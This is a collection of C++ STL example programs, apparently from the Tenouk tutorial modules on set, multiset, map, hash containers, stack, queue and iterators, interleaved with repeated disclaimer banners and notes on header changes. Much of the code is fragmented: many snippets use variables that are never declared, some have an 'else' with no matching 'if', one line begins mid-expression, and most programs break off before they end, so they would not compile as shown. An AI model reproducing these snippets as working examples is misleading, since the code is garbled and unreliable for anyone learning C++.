set <char>::iterator st0_Iter, st1_Iter, st2_Iter, st3_Iter, st4_Iter, st5_Iter, st6_Iter;
//------------------------------------------------
cout<<"Operation: set <char> st0\n";
cout<<"st0 data: ";
for(st0_Iter = st0.begin(); st0_Iter != st0.end(); st0_Iter++)
cout<<" "<<*st0_Iter;
cout<<endl;
----------------------------------------------------------------------------------------------------------
//set, count()
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
int i;
st1.insert(1);
st1.insert(2);
st1.insert(1);
i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;
i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;
return 0;
}
-------------------------------------------------------------------------------------------------
//set, equal_range()
//some warning during compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
typedef set<int, less<int> > IntSet;
IntSet st1;
set <int>::iterator st1Iter;
set <int, less< int > > :: const_iterator st1_RcIter;
st1.insert(10);
st1.insert(20);
st1.insert(30);
st1.insert(40);
st1.insert(50);
<<*(p1.second)<<endl;
cout<<"\nOperation: p2 = st1.equal_range(60)\n";
p2 = st1.equal_range(60);
------------------------------------------------------------------------------------------------
//set, key_comp()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int, less<int> > st1;
set<int, less<int> >::key_compare kc1 = st1.key_comp();
bool res1 = kc1(3, 7);
if(res1 == true)
{
cout<<"kc1(3,7) returns value of true, "
<<"where kc1\nis the function object of st1."
<<endl;
}
else
{
cout<<"kc1(3,7) returns value of false "
<<"where kc1\nis the function object of st1."
<<endl;
}
-------------------------------------------------------------------------------------------------
//set, lower_bound()
#include <set>
#include <iostream>
using namespace std;
int main( )
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1_PIter, st1_QIter;
st1.insert(11);
st1.insert(21);
st1.insert(30);
st1.insert(10);
st1.insert(22);
st1_QIter = st1.lower_bound(21);
cout<<"The element of set st1 with a key of 21 is: "
<<*st1_QIter<<endl;
st1_QIter = st1.lower_bound(60);
----------------------------------------------------------------------------------------------
//set, upper_bound()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1PIter, st1QIter;
st1.insert(9);
st1.insert(12);
st1.insert(20);
st1.insert(13);
st1.insert(11);
st1QIter = st1.upper_bound(9);
cout<<"The first element of set st1 with a key greater "
<<"than 9 is: "<<*st1QIter<<endl;
st1QIter = st1.upper_bound(22);
---------------------------------------------------------------------------------------------
//set, value_comp()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int, less<int> > st1;
set <int, less<int> >::value_compare vcom1 = st1.value_comp();
bool result1 = vcom1(5, 9);
if(result1 == true)
{
cout<<"vcom1(5,9) returns value of true, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
else
{
cout<<"vcom1(5,9) returns value of false, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
---------------------------------------------------------------------------------------------
//multiset, constructor
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int>::iterator mst0_Iter, mst1_Iter, mst2_Iter, mst3_Iter;
multiset <int>::iterator mst4_Iter, mst5_Iter, mst6_Iter;
//-----------------------------------------------------
cout<<"Operation: multiset <int> mst0\n";
cout<<"mst0 data: ";
for(mst0_Iter = mst0.begin(); mst0_Iter != mst0.end(); mst0_Iter++)
cout<<" " <<*mst0_Iter;
cout<<endl;
------------------------------------------------------------------------------------------------------------
//multiset, find()
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;
mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);
mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;
mst1_PIter = mst1.find(21);
-------------------------------------------G++ on Linux/Fedora------------------------------------------
//*****listsort.cpp******
//list, sort()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;
ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);
cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------------
//******setcount.cpp*******
//set, count()
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
int i;
st1.insert(1);
st1.insert(2);
st1.insert(1);
i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;
i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;
return 0;
}
--------------------------------------------------------------------------------------------------------
//******multisetfind.cpp******
//multiset, find()
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;
mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);
mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;
mst1_PIter = mst1.find(21);
============================MODULE29=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;
int main( )
{
//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;
------------------------------------------------------------------------------------------------------------------
int main()
{
typedef pair<int, int> Int_Pair;
multimap<int, int>::iterator mmp0Iter, mmp1Iter, mmp3Iter, mmp4Iter, mmp5Iter, mmp6Iter;
multimap<int, int, greater<int> >::iterator mmp2Iter;
//--------------------------------------------------------
cout<<"Operation: multimap <int, int> mmp0\n";
cout<<"mmp0 data: ";
for(mmp0Iter = mmp0.begin(); mmp0Iter != mmp0.end(); mmp0Iter++)
cout<<" "<<mmp0Iter->second;
cout<<endl;
-----------------------------------------------------------------------------------------------------------------------
//hash_map, constructor
//compiled with visual C++ 7.0
//or VC.Net, some warnings
#include <hash_map>
#include <iostream>
using namespace std;
int main()
{
typedef pair <int, int> Int_Pair;
hash_map <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter, hmp6_Iter;
hash_map <int, int, hash_compare<int, greater<int> > >::iterator hmp2_Iter;
//------------------------------------
cout<<"Operation: hash_map <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;
cout<<endl;
------------------------------------------------------------------------------------------------------------
//hash_multimap, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages:-)
#include <hash_map>
#include <iostream>
using namespace std;
int main()
{
typedef pair <int, int> Int_Pair;
hash_multimap <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter;
hash_multimap <int, int, hash_compare <int, greater<int> > >::iterator hmp2_Iter;
hmp1.insert(Int_Pair(7, 30));
//----------------------------------------------------
cout<<"Operation: hash_multimap <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;
cout<<hmp3_Iter->second<<" ";
cout<<endl;
--------------------------------------------------------------------------------------------------------------------
//hash_set, constructor
//compiled with VC7.0/.Net
//some warnings
#include <hash_set>
#include <iostream>
using namespace std;
int main()
{
hash_set <int>::iterator hst0_Iter, hst1_Iter, hst3_Iter, hst4_Iter, hst5_Iter;
hash_set <int, hash_compare <int, greater<int> > >::iterator hst2_Iter;
hst3.insert(12);
hst3.insert(13);
hst3.insert(12);
//-----------------------------------------------
cout<<"Operation: hash_set <int> hst0\n";
cout<<"hst0 data: ";
for(hst0_Iter = hst0.begin(); hst0_Iter != hst0.end(); hst0_Iter++)
cout<<*hst0_Iter<<" ";
cout<<endl;
cout<<endl;
return 0;
}
-------------------------------------------------------------------------------------------------------
//hash_multiset, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages...
#include <hash_set>
#include <iostream>
using namespace std;
int main()
{
hash_multiset <int>::iterator hms0_Iter, hms1_Iter, hms3_Iter, hms4_Iter, hms5_Iter;
hash_multiset <int, hash_compare <int, greater<int> > >::iterator hms2_Iter;
//------------------------------------------------------
cout<<"Operation: hash_multiset <int> hms0\n";
cout<<"hms0 data: ";
for(hms0_Iter = hms0.begin(); hms0_Iter != hms0.end(); hms0_Iter++)
cout<<*hms0_Iter<<" ";
cout<<endl;
-------------------------------------------G++------------------------------------------------------------
//******mapconstructor.cpp********
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;
int main( )
{
typedef pair<int, int> Int_Pair;
map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;
map<int, int, greater<int> >::iterator mp2_Iter;
//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
============================MODULE30=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
int main()
{
stack <int> st1, st2;
cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;
stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;
i = st1.top();
cout<<"The element at the top of the stack is "<<i<<endl;
st1.pop();
i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;
i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}
-------------------------------------------------------------------------------------------
//stack, constructor
#include <stack>
#include <vector>
#include <list>
#include <iostream>
using namespace std;
int main()
{
//Declares stack with default deque base container
stack <char> deq1;
return 0;
}
//no output
-------------------------------------------------------------------------------------------
int main()
{
queue <int> que1;
que1.push(11);
que1.push(13);
int& x = que1.back();
const int& y = que1.front();
-------------------------------------------------------------------------------------------
//queue, front()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(9);
que.push(12);
que.push(20);
que.push(15);
queue <int>::size_type x;
x = que.size();
cout<<"The queue length is "<<x<<endl;
int& y = que.back();
int& z = que.front();
cout<<"The integer at the back of queue que is "<<y<<endl;
cout<<"The integer at the front of queue que is "<<z<<endl;
return 0;
}
-------------------------------------------------------------------------------------------
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(21);
que.push(9);
que.push(13);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;
i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}
-------------------------------------------------------------------------------------------
//queue, push()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(23);
que.push(15);
que.push(32);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
return 0;
}
-------------------------------------------------------------------------------------------
//queue, constructor
#include <queue>
#include <vector>
#include <list>
#include <iostream>
using namespace std;
int main()
{
//Declares queue with default deque base container
queue <char> que;
return 0;
}
//no output
-------------------------------------G++------------------------------------------------------
//*******stackpopush.cpp*******
//stack, pop(), push()
//size() and top()
#include <stack>
#include <iostream>
using namespace std;
int main()
{
stack <int> st1, st2;
stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;
i = st1.top();
st1.pop();
i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;
i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}
-------------------------------------------------------------------------------------------
//*****queuepop.cpp*******
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(21);
que.push(9);
que.push(13);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;
i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}
============================MODULE31=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
int main()
{
//lst, list container for character elements
list<char> lst;
//separated by space
list<char>::const_iterator pos;
for(pos = lst.begin(); pos != lst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}
----------------------------------------------------------------------------------
int main()
{
//set container of int
//data type
set<int> tst;
//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);
----------------------------------------------------------------------------------
int main()
{
//multiset container of int
//data type
multiset<int> tst;
//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);
----------------------------------------------------------------------------------
int main()
{
//type of the collection
map<int, string> mp;
----------------------------------------------------------------------------------
int main()
{
//type of the collection
multimap<int, string> mmp;
----------------------------------------------------------------------------------
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);
advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;
advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;
advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;
return 0;
}
----------------------------------------------------------------------------------
//iterator, back_inserter()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 1; i < 5; ++i)
vec.push_back(i);
----------------------------------------------------------------------------------
//iterator, distance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = -1; i < 10; ++i)
lst.push_back(2*i);
list<int>::difference_type lstdiff;
cout<<"\nOperation: lstdiff = distance(lst.begin(), lstpos)\n";
lstdiff = distance(lst.begin(), lstpos);
cout<<"The distance from lst.begin() to lstpos is: "<<lstdiff<<" elements"<<endl;
return 0;
}
----------------------------------------------------------------------------------
//iterator, front_inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
----------------------------------------------------------------------------------
//iterator, inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = -3; i<=2; ++i)
lst.push_back(i);
*Iter = 7;
++Iter;
*Iter = 12;
----------------------------------------------------------------------------------
//iterator, operator!=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 1; i<=10; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;
----------------------------------------------------------------------------------
//iterator, operator==
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 11; i<15; ++i)
vec.push_back(i);
rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;
----------------------------------------------------------------------------------
//iterator, operator<
#include <iterator>
#include <vector>
#include <iostream>
int main()
{
using namespace std;
int i;
vector<int> vec;
for(i = 10; i<= 17; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
cout<<"\nOperation: rvecpos2++;\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "
<<*rvecpos2<<endl;
else
cout<<"The iterator rvecpos1 is not less than"
<<" the iterator rvecpos2."<<endl;
----------------------------------------------------------------------------------
//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos1<=rvecpos2\n";
if(rvecpos1<=rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
----------------------------------------------------------------------------------
//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;
return 0;
}
----------------------------------------------------------------------------------
//iterator, operator>=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;
----------------------------------------------------------------------------------
//iterator, operator+
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}
----------------------------------------------------------------------------------
//iterator, operator-
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
----------------------------------------------------------------------------------
int main()
{
vector<int> vec1;
vector<char> vec2;
list<char> lst;
iterator_traits<vector<int>::iterator>::iterator_category cati;
iterator_traits<vector<char>::iterator>::iterator_category catc;
iterator_traits<list<char>::iterator>::iterator_category catlst;
cout<<"\nOperation: typeid(vec1.begin())==typeid(vec2.begin())\n";
if(typeid(vec1.begin()) == typeid(vec2.begin()))
cout<<"The iterators type are the same."<<endl;
else
cout<<"The iterators type are not the same."<<endl;
return 0;
}
----------------------------------------------------------------------------------
template<class ite>
//create a function of template class type...
void funct(ite i1, ite i2)
{
iterator_traits<ite>::iterator_category cat;
cout<<"Test the iterator type...\n";
cout<<typeid(cat).name()<<endl;
int main()
{
//declare containers vector and list
vector<char> vec(9, 'T');
list<int> lst(8, 7);
//function call...
funct(vec.begin(), vec.end());
funct(lst.begin(), lst.end());
return 0;
}
----------------------------------------------------------------------------------
//insert_iterator, container_type
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
list<int> lst1;
insert_iterator<list<int> >::container_type lst2 = lst1;
inserter(lst2, lst2.end()) = 12;
inserter(lst2, lst2.end()) = 17;
inserter(lst2, lst2.begin()) = 24;
inserter(lst2, lst2.begin()) = 9;
list<int>::iterator veciter;
cout<<"The list lst2 data: ";
for(veciter = lst2.begin(); veciter != lst2.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}
----------------------------------------------------------------------------------
//insert_iterator, container_reference
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
list<int> lst;
insert_iterator<list<int> > iivIter(lst, lst.begin());
*iivIter = 12;
*iivIter = 21;
*iivIter = 9;
*iivIter = 31;
list<int>::iterator lstIter;
cout<<"The list lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
----------------------------------------------------------------------------------
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>
int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);
----------------------------------------------------------------------------------
//insert_iterator, operator*
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);
--------------------------------------G++--------------------------------------------
//*****iteratoradvance.cpp**********
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);
advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;
advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;
advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;
return 0;
}
----------------------------------------------------------------------------------
//*******insertiterator.cpp********
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>
int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);
============================MODULE32=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//insert_iterator, operator++
//the increment...
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
-----------------------------------------------------------------------------------------
//insert_iterator, operator=
//the assignment
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);
*Iter = 33;
*Iter = 24;
-----------------------------------------------------------------------------------------
int main()
{
typedef istream_iterator<int>::char_type chtype;
typedef istream_iterator<int>::traits_type tratype;
//End-of-stream iterator
istream_iterator<int, chtype, tratype> EOFintread;
while(intread != EOFintread)
{
cout<<"Reading data: "<<*intread<<endl;
++intread;
}
cout<<endl;
return 0;
}
-----------------------------------------------------------------------------------------
//istream_iterator, istream_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
-----------------------------------------------------------------------------------------
//istreambuf_iterator, char_type
#include <iterator>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;
int main()
{
typedef istreambuf_iterator<char>::char_type chatype;
typedef istreambuf_iterator<char>::traits_type tratype;
-----------------------------------------------------------------------------------------
//istreambuf_iterator, int_type
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"Operation: int_type intype = 77\n";
istreambuf_iterator<char>::int_type intype = 77;
cout<<"The int_type type = "<<intype<<endl;
return 0;
}
-----------------------------------------------------------------------------------------
//istreambuf_iterator, equal
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"\nOperation: bol = readchinpt1.equal(readchinpt2)\n";
cout<<"Enter a line of text then an Enter key to\n"
<<"insert into the output:\n";
istreambuf_iterator<char> readchinpt1(cin);
istreambuf_iterator<char> readchinpt2(cin);
-----------------------------------------------------------------------------------------
//istreambuf_iterator, istreambuf_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
istreambuf_iterator<char>::istream_type &istrm = cin;
istreambuf_iterator<char>::streambuf_type *strmbf = cin.rdbuf();
istreambuf_iterator<char> charReadIn(cin);
ostreambuf_iterator<char> charOut(cout);
-----------------------------------------------------------------------------------------
//istreambuf_iterator, operator++
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"Type a line of text & enter to output it, with stream\n"
<<"buffer iterators, repeat as many times as desired,\n"
<<"then keystroke ctrl-Z Enter to exit program: \n";
istreambuf_iterator<char> inpos(cin);
istreambuf_iterator<char> endpos;
ostreambuf_iterator<char> outpos(cout);
while(inpos != endpos)
{
*outpos = *inpos;
//Increment istreambuf_iterator
++inpos;
++outpos;
}
return 0;
}
-----------------------------------------------------------------------------------------
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
-----------------------------------------------------------------------------------------
//ostream_iterator, operator=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
//with new line delimiter
ostream_iterator<int> intOut(cout, "\n");
-----------------------------------------------------------------------------------------
//ostreambuf_iterator, ostreambuf_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
